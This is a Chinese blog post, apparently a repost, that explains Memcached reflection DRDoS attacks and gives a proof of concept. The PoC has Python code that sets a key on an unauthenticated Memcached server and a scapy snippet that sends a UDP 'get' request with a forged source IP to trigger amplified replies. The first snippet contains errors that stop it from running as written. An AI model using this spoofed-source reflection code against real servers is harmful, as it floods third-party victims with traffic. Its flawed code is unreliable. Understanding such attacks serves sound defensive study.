关于Memcached反射型DRDoS攻击分析

一、Memcached反射攻击原理

1、反射DRDoS攻击：

DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式，中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击，其原理是通过利用你的程序漏洞，发送畸形报文诱发你回复大数据量的报文，从而达到消耗资源，拒绝服务的目的。

2、为什么Memcached可以诱发DRDoS：

因为Memcached是一个缓存服务器，很多web站点用来存储缓存数据，以防止WEB服务器承担更多性能损耗。但是这样情况下，如果发送一个请求，回复大数据量的响应报文，则可以被诱发DRDoS，攻击手段就是重复变换源的发送请求报文即可。

3、以上还有两个前提：

（1）Memcached支持TCP和UDP，且其中UDP是不需要状态连接，和握手的。

（2）Memcached存在未授权访问的情况。

二、Memcached DRDoS的poc

1、攻击手法，

（1）访问可以控制的未授权的memcached，set设置键值

1 set abc 0 0 10
2 abc ->键名
3 0 -> flag
4 0 -> exptime 过期时间，0便是永不过期
5 10 -> 返回10Byte的数据，当然可以返回更多

python代码如下

 1 # -*- coding:utf-8 -*-
 2
 3 import socket
 4
 5 target_host = "192.168.1.1"
 6 target_port = 11211
 7 client = sokcet.socket(socket.AF_INET,socket.STREAM)
 8 client.settimeout(10)
 9 client.connect((target_host,target_port))
10
11 client.send("set abcd 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n")
12 data = client.recv(1024)
13 print data

(2)然后get这个abc即可

1 # -*- coding:utf-8 -*-
2
3 from scapy.all import *
4
5 data = "\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"
6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
7 send(pkt ,inter=1,count=1)

转载于:https://www.cnblogs.com/KevinGeorge/p/8506845.html

关于Memcached反射型DRDoS攻击分析相关推荐

放大倍数超5万倍的Memcached DDoS反射攻击，怎么破？
欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由腾讯游戏云发表于云+社区专栏背景:Memcached攻击创造DDoS攻击流量纪录近日,利用Memcached服务器实施反射DDoS ...
基于Memcached的DRDos的研究与攻击复现
[声明]本文仅作学习研究之用,欢迎一起探讨,请勿发动恶意攻击,否则后果自负! 核弹级DDoS攻击肆掠全球进入3月,春天到了,万物复苏,又到了动物交配的季节!咦!不对不对,我要说什么来着..O(∩_∩ ...
反射型 DDoS 攻击的原理和防范措施
随着僵尸网络的兴起,同时由于攻击方法简单.影响较大.难以追查等特点,分布式拒绝服务攻击(DDoS,Distributed Denial of Service)得到快速壮大和日益泛滥. 成千上万主机组成 ...
758.6G每秒：阿里云成功防御国内最大规模Memcached DDoS反射攻击
本周,阿里云安全DDoS监控中心数据显示,利用Memcached 进行DDoS攻击的趋势快速升温.今天, 阿里云已经成功监控和防御一起流量高达758.6Gbps的Memcached DDoS反射攻击. ...
DOS、DOS攻击、DDOS攻击、DRDOS攻击
DOS:中文名字是拒绝服务,一切引起DOS行为的攻击被称为DOS攻击.该攻击的效果是使得计算机或者网络无法提供正常的服务.常见的DOS攻击有针对计算机网络带宽和连通性的攻击.DOS是单机与单机之间的攻 ...
内网渗透测试：NTLM Relay攻击分析
目录基础知识 NTLM认证过程 NTLM中继攻击原理获得Net-NTLM Relay的思路利用LLMNR和NetBIOS欺骗获得Net-NTLMHash 利用WPAD劫持获得Net-NTLMHa ...
DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点，放大流量，伪造请求包的源IP地址为受害者IP，将应答包的流量引入受害的服务器...
DNS反射放大攻击分析摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...
针对CDP协议攻击分析及安全防护
针对CDP协议攻击分析及安全防护<?xml:namespace prefix="o"> ?xml:namespace> 熟悉Cisco的朋友都知道CDP协议是思科 ...
网页服务器攻击,WEB服务器攻击分析全过程_91Ri.org
故障现象描述故障现象描述客户对外服务的WEB服务器无法访问,内网机器访问互联网速度较慢. 基本环境描述用户基本网络拓扑如下: 用户的Internet出口基本网络拓扑如上图所示,其中出口带宽为1M ...

关于Memcached反射型DRDoS攻击分析

关于Memcached反射型DRDoS攻击分析相关推荐

最新文章

热门文章